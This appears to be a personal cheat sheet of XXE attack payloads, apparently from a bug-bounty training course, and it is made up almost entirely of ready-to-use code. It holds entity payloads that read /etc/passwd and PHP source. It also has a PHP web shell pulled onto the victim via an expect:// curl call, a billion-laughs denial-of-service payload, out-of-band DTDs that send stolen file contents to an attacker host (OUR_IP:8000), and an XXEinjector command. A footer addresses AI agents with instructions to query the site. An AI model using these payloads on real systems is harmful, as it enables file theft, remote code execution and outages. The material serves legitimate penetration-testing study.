# XML External Entity (XXE)

```
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
```

<figure><img src="/files/qthAzRJAmA4KsoTrl4zi" alt=""><figcaption></figcaption></figure>

```
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
```

<pre><code>echo '&#x3C;?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80

<strong># Victim Machine
</strong>&#x3C;?xml version="1.0"?>
&#x3C;!DOCTYPE email [
  &#x3C;!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
&#x3C;root>
&#x3C;name>&#x3C;/name>
&#x3C;tel>&#x3C;/tel>
&#x3C;email>&#x26;company;&#x3C;/email>
&#x3C;message>&#x3C;/message>
&#x3C;/root>
</code></pre>

<pre><code><strong># DOS attack to the webserver
</strong><strong># It doesn't work anymore in modern web applications
</strong>&#x3C;?xml version="1.0"?>
&#x3C;!DOCTYPE email [
  &#x3C;!ENTITY a0 "DOS" >
  &#x3C;!ENTITY a1 "&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;">
  &#x3C;!ENTITY a2 "&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;">
  &#x3C;!ENTITY a3 "&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;">
  &#x3C;!ENTITY a4 "&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;">
  &#x3C;!ENTITY a5 "&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;">
  &#x3C;!ENTITY a6 "&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;">
  &#x3C;!ENTITY a7 "&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;">
  &#x3C;!ENTITY a8 "&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;">
  &#x3C;!ENTITY a9 "&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;">        
  &#x3C;!ENTITY a10 "&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;">        
]>
&#x3C;root>
&#x3C;name>&#x3C;/name>
&#x3C;tel>&#x3C;/tel>
&#x3C;email>&#x26;a10;&#x3C;/email>
&#x3C;message>&#x3C;/message>
&#x3C;/root>
</code></pre>

<pre data-overflow="wrap"><code><strong># Attacker machine
</strong>echo '&#x3C;!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000

<strong># Victim web application
</strong>&#x3C;!DOCTYPE email [
  &#x3C;!ENTITY % begin "&#x3C;![CDATA["> &#x3C;!-- prepend the beginning of the CDATA tag -->
  &#x3C;!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> &#x3C;!-- reference external file -->
  &#x3C;!ENTITY % end "]]>"> &#x3C;!-- append the end of the CDATA tag -->
  &#x3C;!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> &#x3C;!-- reference our external DTD -->
  %xxe;
]>
</code></pre>

<pre><code><strong># Error based XXE
</strong><strong># This will display the error along side with the LFI
</strong><strong># length limitations, and certain special characters may still break it.
</strong><strong># Attacker machine
</strong>subl xxe.dtd
&#x3C;!ENTITY % file SYSTEM "file:///etc/hosts">
&#x3C;!ENTITY % error "&#x3C;!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

<strong># Victim web application
</strong>&#x3C;!DOCTYPE email [ 
  &#x3C;!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>
</code></pre>

<pre><code><strong># Attacker machine
</strong>&#x3C;!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
&#x3C;!ENTITY % oob "&#x3C;!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

<strong># Create a base64 decoder written in php
</strong>&#x3C;?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

<strong># Write the php code above
</strong>vi index.php 
php -S 0.0.0.0:8000

<strong># Victim web application
</strong>&#x3C;?xml version="1.0" encoding="UTF-8"?>
&#x3C;!DOCTYPE email [ 
  &#x3C;!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
&#x3C;root>&#x26;content;&#x3C;/root>

<strong># Then go back to the php web shell terminal and you can now see the file
</strong></code></pre>

<pre><code><strong># To use this tool first we need to save the POST request
</strong>https://github.com/enjoiz/XXEinjector.git
</code></pre>

<figure><img src="/files/Rt8UMI3KCsc4HwXs7pIC" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
ruby XXEinjector.rb --host=10.10.15.45 --httpport=8000 --file=../blind.req --path=/etc/passwd --oob=http --phpfilter
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kyou00.gitbook.io/xyz/academy-htb/view/bug-bounty-hunter/exploits/xml-external-entity-xxe.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
